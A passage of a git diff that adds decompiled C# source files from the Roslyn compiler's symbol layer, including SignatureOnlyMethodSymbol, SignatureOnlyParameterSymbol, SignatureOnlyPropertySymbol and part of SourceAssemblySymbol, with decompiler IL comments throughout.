get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 151); + } + } + + public override AssemblySymbol ContainingAssembly + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 153); + } + } + + internal override ModuleSymbol ContainingModule + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 155); + } + } + + internal override bool IsMetadataFinal + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 165); + } + } + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => _isInitOnly; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 175); + } + } + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => true; + + public SignatureOnlyMethodSymbol(string name, TypeSymbol containingType, MethodKind methodKind, CallingConvention callingConvention, ImmutableArray typeParameters, ImmutableArray parameters, RefKind refKind, bool isInitOnly, bool isStatic, TypeWithAnnotations returnType, ImmutableArray refCustomModifiers, ImmutableArray explicitInterfaceImplementations) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + _callingConvention = callingConvention; + _typeParameters = typeParameters; + _refKind = refKind; + _isInitOnly = isInitOnly; + _isStatic = isStatic; + _returnType = returnType; + _refCustomModifiers = refCustomModifiers; + _parameters = parameters; + _explicitInterfaceImplementations = ImmutableArrayExtensions.NullToEmpty(explicitInterfaceImplementations); + _containingType = containingType; + _methodKind = methodKind; + _name = name; + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 97); + } + + public override DllImportData GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 115); + } + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 119); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 121); + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 157); + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 159); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 173); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyParameterSymbol.cs new file mode 100644 index 0000000..6260fe3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyParameterSymbol.cs @@ -0,0 +1,250 @@ +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SignatureOnlyParameterSymbol : ParameterSymbol +{ + private readonly TypeWithAnnotations _type; + + private readonly ImmutableArray _refCustomModifiers; + + private readonly bool _isParams; + + private readonly RefKind _refKind; + + public override TypeWithAnnotations TypeWithAnnotations => _type; + + public override ImmutableArray RefCustomModifiers => _refCustomModifiers; + + public override bool IsParams => _isParams; + + public override RefKind RefKind => _refKind; + + public override string Name => ""; + + public override bool IsImplicitlyDeclared => true; + + public override bool IsDiscard => false; + + internal override ScopedKind EffectiveScope + { + get + { + if (ParameterHelpers.IsRefScopedByDefault(this)) + { + return (ScopedKind)1; + } + return (ScopedKind)0; + } + } + + internal override bool HasUnscopedRefAttribute => false; + + internal override bool UseUpdatedEscapeRules => false; + + internal override bool IsMetadataIn + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 60); + } + } + + internal override bool IsMetadataOut + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 62); + } + } + + internal override MarshalPseudoCustomAttributeData MarshallingInformation + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 64); + } + } + + public override int Ordinal + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 66); + } + } + + internal override bool IsMetadataOptional + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 68); + } + } + + internal override ConstantValue ExplicitDefaultConstantValue + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 70); + } + } + + internal override bool IsIDispatchConstant + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 72); + } + } + + internal override bool IsIUnknownConstant + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 74); + } + } + + internal override bool IsCallerFilePath + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 76); + } + } + + internal override bool IsCallerLineNumber + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 78); + } + } + + internal override bool IsCallerMemberName + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 80); + } + } + + internal override int CallerArgumentExpressionParameterIndex + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 82); + } + } + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 84); + } + } + + internal override ImmutableHashSet NotNullIfParameterNotNull + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 86); + } + } + + public override Symbol ContainingSymbol + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 88); + } + } + + public override ImmutableArray Locations + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 90); + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 92); + } + } + + public override AssemblySymbol ContainingAssembly + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 94); + } + } + + internal override ModuleSymbol ContainingModule + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 96); + } + } + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 98); + } + } + + internal override bool HasInterpolatedStringHandlerArgumentError + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyParameterSymbol.cs", 100); + } + } + + public SignatureOnlyParameterSymbol(TypeWithAnnotations type, ImmutableArray refCustomModifiers, bool isParams, RefKind refKind) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + _type = type; + _refCustomModifiers = refCustomModifiers; + _isParams = isParams; + _refKind = refKind; + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is SignatureOnlyParameterSymbol signatureOnlyParameterSymbol && TypeSymbol.Equals(_type.Type, signatureOnlyParameterSymbol._type.Type, compareKind) && _type.CustomModifiers.Equals(signatureOnlyParameterSymbol._type.CustomModifiers) && _refCustomModifiers.SequenceEqual(signatureOnlyParameterSymbol._refCustomModifiers) && _isParams == signatureOnlyParameterSymbol._isParams) + { + return _refKind == signatureOnlyParameterSymbol._refKind; + } + return false; + } + + public override int GetHashCode() + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected I4, but got Unknown + int hashCode = _type.Type.GetHashCode(); + int num = Hash.CombineValues(_type.CustomModifiers, int.MaxValue); + bool isParams = _isParams; + return Hash.Combine(hashCode, Hash.Combine(num, Hash.Combine(isParams.GetHashCode(), ((int)_refKind).GetHashCode()))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyPropertySymbol.cs new file mode 100644 index 0000000..673d7c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyPropertySymbol.cs @@ -0,0 +1,194 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SignatureOnlyPropertySymbol : PropertySymbol +{ + private readonly string _name; + + private readonly TypeSymbol _containingType; + + private readonly ImmutableArray _parameters; + + private readonly RefKind _refKind; + + private readonly TypeWithAnnotations _type; + + private readonly ImmutableArray _refCustomModifiers; + + private readonly bool _isStatic; + + private readonly ImmutableArray _explicitInterfaceImplementations; + + public override RefKind RefKind => _refKind; + + public override TypeWithAnnotations TypeWithAnnotations => _type; + + public override ImmutableArray RefCustomModifiers => _refCustomModifiers; + + public override bool IsStatic => _isStatic; + + public override ImmutableArray Parameters => _parameters; + + public override ImmutableArray ExplicitInterfaceImplementations => _explicitInterfaceImplementations; + + public override Symbol ContainingSymbol => _containingType; + + public override string Name => _name; + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal override bool HasSpecialName + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 70); + } + } + + internal override CallingConvention CallingConvention + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 72); + } + } + + public override ImmutableArray Locations + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 74); + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 76); + } + } + + public override Accessibility DeclaredAccessibility + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 78); + } + } + + public override bool IsVirtual + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 80); + } + } + + public override bool IsOverride => false; + + public override bool IsAbstract + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 84); + } + } + + public override bool IsSealed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 86); + } + } + + public override bool IsExtern + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 88); + } + } + + internal override bool IsRequired + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 90); + } + } + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 92); + } + } + + public override AssemblySymbol ContainingAssembly + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 94); + } + } + + internal override ModuleSymbol ContainingModule + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 96); + } + } + + internal override bool MustCallMethodsDirectly + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 98); + } + } + + public override MethodSymbol SetMethod + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 100); + } + } + + public override MethodSymbol GetMethod + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 102); + } + } + + public override bool IsIndexer + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyPropertySymbol.cs", 104); + } + } + + public SignatureOnlyPropertySymbol(string name, TypeSymbol containingType, ImmutableArray parameters, RefKind refKind, TypeWithAnnotations type, ImmutableArray refCustomModifiers, bool isStatic, ImmutableArray explicitInterfaceImplementations) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + _refKind = refKind; + _type = type; + _refCustomModifiers = refCustomModifiers; + _isStatic = isStatic; + _parameters = parameters; + _explicitInterfaceImplementations = ImmutableArrayExtensions.NullToEmpty(explicitInterfaceImplementations); + _containingType = containingType; + _name = name; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceAssemblySymbol.cs new file mode 100644 index 0000000..483d4e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceAssemblySymbol.cs @@ -0,0 +1,2228 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using System.Reflection.PortableExecutable; +using System.Security.Cryptography; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceAssemblySymbol : MetadataOrSourceAssemblySymbol, ISourceAssemblySymbolInternal, IAssemblySymbolInternal, ISymbolInternal, IAttributeTargetSymbol +{ + private class NameCollisionForAddedModulesTypeComparer : IComparer + { + public static readonly NameCollisionForAddedModulesTypeComparer Singleton = new NameCollisionForAddedModulesTypeComparer(); + + private NameCollisionForAddedModulesTypeComparer() + { + } + + public int Compare(NamedTypeSymbol x, NamedTypeSymbol y) + { + int num = string.CompareOrdinal(x.Name, y.Name); + if (num == 0) + { + num = x.Arity - y.Arity; + if (num == 0) + { + num = x.ContainingModule.Ordinal - y.ContainingModule.Ordinal; + } + } + return num; + } + } + + private readonly CSharpCompilation _compilation; + + private SymbolCompletionState _state; + + internal AssemblyIdentity lazyAssemblyIdentity; + + private readonly string _assemblySimpleName; + + private StrongNameKeys _lazyStrongNameKeys; + + private readonly ImmutableArray _modules; + + private CustomAttributesBag _lazySourceAttributesBag; + + private CustomAttributesBag _lazyNetModuleAttributesBag; + + private IDictionary _lazyForwardedTypesFromSource; + + private ConcurrentSet _lazyOmittedAttributeIndices; + + private ThreeState _lazyContainsExtensionMethods; + + private readonly ConcurrentDictionary _unassignedFieldsMap = new ConcurrentDictionary(); + + private readonly ConcurrentSet _unreadFields = new ConcurrentSet(); + + internal ConcurrentSet TypesReferencedInExternalMethods = new ConcurrentSet(); + + private ImmutableArray _unusedFieldWarnings; + + private ConcurrentDictionary _optimisticallyGrantedInternalsAccess; + + [ThreadStatic] + private static AssemblySymbol t_assemblyForWhichCurrentThreadIsComputingKeys; + + [ThreadStatic] + private static PooledHashSet t_forwardedTypesAttributesInProgress; + + private ConcurrentDictionary, Tuple>> _lazyInternalsVisibleToMap; + + public override string Name => _assemblySimpleName; + + internal sealed override CSharpCompilation DeclaringCompilation => _compilation; + + public override bool IsInteractive => ((Compilation)_compilation).IsSubmission; + + public override AssemblyIdentity Identity + { + get + { + if (lazyAssemblyIdentity == (AssemblyIdentity)null) + { + Interlocked.CompareExchange(ref lazyAssemblyIdentity, ComputeIdentity(), null); + } + return lazyAssemblyIdentity; + } + } + + internal bool RuntimeCompatibilityWrapNonExceptionThrows => (GetSourceDecodedWellKnownAttributeData() ?? GetNetModuleDecodedWellKnownAttributeData())?.RuntimeCompatibilityWrapNonExceptionThrows ?? true; + + internal string FileVersion => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyFileVersionAttributeSetting); + + internal string Title => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyTitleAttributeSetting); + + internal string Description => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyDescriptionAttributeSetting); + + internal string Company => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyCompanyAttributeSetting); + + internal string Product => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyProductAttributeSetting); + + internal string InformationalVersion => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyInformationalVersionAttributeSetting); + + internal string Copyright => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyCopyrightAttributeSetting); + + internal string Trademark => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyTrademarkAttributeSetting); + + private ThreeState AssemblyDelaySignAttributeSetting + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + ThreeState val = (ThreeState)0; + ThreeState val2 = val; + CommonAssemblyWellKnownAttributeData sourceDecodedWellKnownAttributeData = GetSourceDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + val2 = sourceDecodedWellKnownAttributeData.AssemblyDelaySignAttributeSetting; + } + if (val2 == val) + { + sourceDecodedWellKnownAttributeData = GetNetModuleDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + val2 = sourceDecodedWellKnownAttributeData.AssemblyDelaySignAttributeSetting; + } + } + return val2; + } + } + + private string AssemblyKeyContainerAttributeSetting => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyKeyContainerAttributeSetting, WellKnownAttributeData.StringMissingValue, QuickAttributes.AssemblyKeyName); + + private string AssemblyKeyFileAttributeSetting => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyKeyFileAttributeSetting, WellKnownAttributeData.StringMissingValue, QuickAttributes.AssemblyKeyFile); + + private string AssemblyCultureAttributeSetting => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblyCultureAttributeSetting); + + public string SignatureKey => GetWellKnownAttributeDataStringField((CommonAssemblyWellKnownAttributeData data) => data.AssemblySignatureKeyAttributeSetting, null, QuickAttributes.AssemblySignatureKey); + + private Version AssemblyVersionAttributeSetting + { + get + { + Version version = null; + Version version2 = version; + CommonAssemblyWellKnownAttributeData sourceDecodedWellKnownAttributeData = GetSourceDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + version2 = sourceDecodedWellKnownAttributeData.AssemblyVersionAttributeSetting; + } + if (version2 == version) + { + sourceDecodedWellKnownAttributeData = GetNetModuleDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + version2 = sourceDecodedWellKnownAttributeData.AssemblyVersionAttributeSetting; + } + } + return version2; + } + } + + public override Version AssemblyVersionPattern + { + get + { + Version assemblyVersionAttributeSetting = AssemblyVersionAttributeSetting; + if ((object)assemblyVersionAttributeSetting != null && (assemblyVersionAttributeSetting.Build == 65535 || assemblyVersionAttributeSetting.Revision == 65535)) + { + return assemblyVersionAttributeSetting; + } + return null; + } + } + + public AssemblyHashAlgorithm HashAlgorithm => AssemblyAlgorithmIdAttributeSetting ?? AssemblyHashAlgorithm.Sha1; + + internal AssemblyHashAlgorithm? AssemblyAlgorithmIdAttributeSetting + { + get + { + AssemblyHashAlgorithm? result = null; + CommonAssemblyWellKnownAttributeData sourceDecodedWellKnownAttributeData = GetSourceDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + result = sourceDecodedWellKnownAttributeData.AssemblyAlgorithmIdAttributeSetting; + } + if (!result.HasValue) + { + sourceDecodedWellKnownAttributeData = GetNetModuleDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + result = sourceDecodedWellKnownAttributeData.AssemblyAlgorithmIdAttributeSetting; + } + } + return result; + } + } + + public AssemblyFlags AssemblyFlags + { + get + { + AssemblyFlags assemblyFlags = (AssemblyFlags)0; + CommonAssemblyWellKnownAttributeData sourceDecodedWellKnownAttributeData = GetSourceDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + assemblyFlags = sourceDecodedWellKnownAttributeData.AssemblyFlagsAttributeSetting; + } + sourceDecodedWellKnownAttributeData = GetNetModuleDecodedWellKnownAttributeData(); + if (sourceDecodedWellKnownAttributeData != null) + { + assemblyFlags |= sourceDecodedWellKnownAttributeData.AssemblyFlagsAttributeSetting; + } + return assemblyFlags; + } + } + + internal StrongNameKeys StrongNameKeys + { + get + { + if (_lazyStrongNameKeys == null) + { + try + { + t_assemblyForWhichCurrentThreadIsComputingKeys = this; + Interlocked.CompareExchange(ref _lazyStrongNameKeys, ComputeStrongNameKeys(), null); + } + finally + { + t_assemblyForWhichCurrentThreadIsComputingKeys = null; + } + } + return _lazyStrongNameKeys; + } + } + + internal override ImmutableArray PublicKey => StrongNameKeys.PublicKey; + + public override ImmutableArray Modules => _modules; + + public override ImmutableArray Locations => ImmutableArrayExtensions.AsImmutable(Modules.SelectMany((ModuleSymbol m) => m.Locations)); + + public bool InternalsAreVisible + { + get + { + EnsureAttributesAreBound(); + return _lazyInternalsVisibleToMap != null; + } + } + + internal bool IsDelaySigned + { + get + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + if (((CompilationOptions)_compilation.Options).DelaySign.HasValue) + { + return ((CompilationOptions)_compilation.Options).DelaySign.Value; + } + if (((CompilationOptions)_compilation.Options).PublicSign) + { + return false; + } + return (int)AssemblyDelaySignAttributeSetting == 2; + } + } + + internal SourceModuleSymbol SourceModule => (SourceModuleSymbol)Modules[0]; + + internal override bool RequiresCompletion => true; + + internal override bool IsLinked => false; + + internal bool DeclaresTheObjectClass + { + get + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + if ((object)base.CorLibrary != this) + { + return false; + } + NamedTypeSymbol specialType = GetSpecialType((SpecialType)1); + if (!specialType.IsErrorType()) + { + return (int)specialType.DeclaredAccessibility == 6; + } + return false; + } + } + + public override bool MightContainExtensionMethods + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (ThreeStateHelpers.HasValue(_lazyContainsExtensionMethods)) + { + return ThreeStateHelpers.Value(_lazyContainsExtensionMethods); + } + return true; + } + } + + private bool HasDebuggableAttribute => GetSourceDecodedWellKnownAttributeData()?.HasDebuggableAttribute ?? false; + + private bool HasReferenceAssemblyAttribute => GetSourceDecodedWellKnownAttributeData()?.HasReferenceAssemblyAttribute ?? false; + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => this; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Assembly; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations + { + get + { + if (!IsInteractive) + { + return AttributeLocation.Assembly | AttributeLocation.Module; + } + return AttributeLocation.None; + } + } + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData + { + get + { + CustomAttributesBag lazySourceAttributesBag = _lazySourceAttributesBag; + if (lazySourceAttributesBag != null && lazySourceAttributesBag.IsDecodedWellKnownAttributeDataComputed) + { + ObsoleteAttributeData val = ((CommonAssemblyWellKnownAttributeData)(object)lazySourceAttributesBag.DecodedWellKnownAttributeData)?.ExperimentalAttributeData; + if (val != null) + { + return val; + } + } + CustomAttributesBag lazyNetModuleAttributesBag = _lazyNetModuleAttributesBag; + if (lazyNetModuleAttributesBag != null && lazyNetModuleAttributesBag.IsDecodedWellKnownAttributeDataComputed) + { + return ((CommonAssemblyWellKnownAttributeData)(object)lazyNetModuleAttributesBag.DecodedWellKnownAttributeData)?.ExperimentalAttributeData; + } + if (GetAttributeDeclarations().IsEmpty) + { + return null; + } + return ObsoleteAttributeData.Uninitialized; + } + } + + internal IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder, bool emittingRefAssembly, bool emittingAssemblyAttributesInNetModule) + { + ImmutableArray attributes = GetAttributes(); + ArrayBuilder attributes2 = null; + AddSynthesizedAttributes(moduleBuilder, ref attributes2); + if (emittingRefAssembly && !HasReferenceAssemblyAttribute) + { + SynthesizedAttributeData attribute = DeclaringCompilation.TrySynthesizeAttribute((WellKnownMember)393, default(ImmutableArray), default(ImmutableArray>), isOptionalUse: true); + Symbol.AddSynthesizedAttribute(ref attributes2, attribute); + } + return GetCustomAttributesToEmit(attributes, attributes2, isReturnType: false, emittingAssemblyAttributesInNetModule); + } + + internal SourceAssemblySymbol(CSharpCompilation compilation, string assemblySimpleName, string moduleName, ImmutableArray netModules) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Invalid comparison between Unknown and I4 + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + _compilation = compilation; + _assemblySimpleName = assemblySimpleName; + ArrayBuilder val = new ArrayBuilder(1 + netModules.Length); + val.Add((ModuleSymbol)new SourceModuleSymbol(this, compilation.Declarations, moduleName)); + MetadataImportOptions importOptions = (MetadataImportOptions)(((int)((CompilationOptions)compilation.Options).MetadataImportOptions != 2) ? 1 : 2); + ImmutableArray.Enumerator enumerator = netModules.GetEnumerator(); + while (enumerator.MoveNext()) + { + PEModule current = enumerator.Current; + val.Add((ModuleSymbol)new PEModuleSymbol(this, current, importOptions, val.Count)); + } + _modules = val.ToImmutableAndFree(); + if (!((CompilationOptions)compilation.Options).CryptoPublicKey.IsEmpty) + { + _lazyStrongNameKeys = StrongNameKeys.Create(((CompilationOptions)compilation.Options).CryptoPublicKey, (RSAParameters?)null, false, (CommonMessageProvider)(object)MessageProvider.Instance); + } + } + + internal bool MightContainNoPiaLocalTypes() + { + for (int i = 1; i < _modules.Length; i++) + { + if 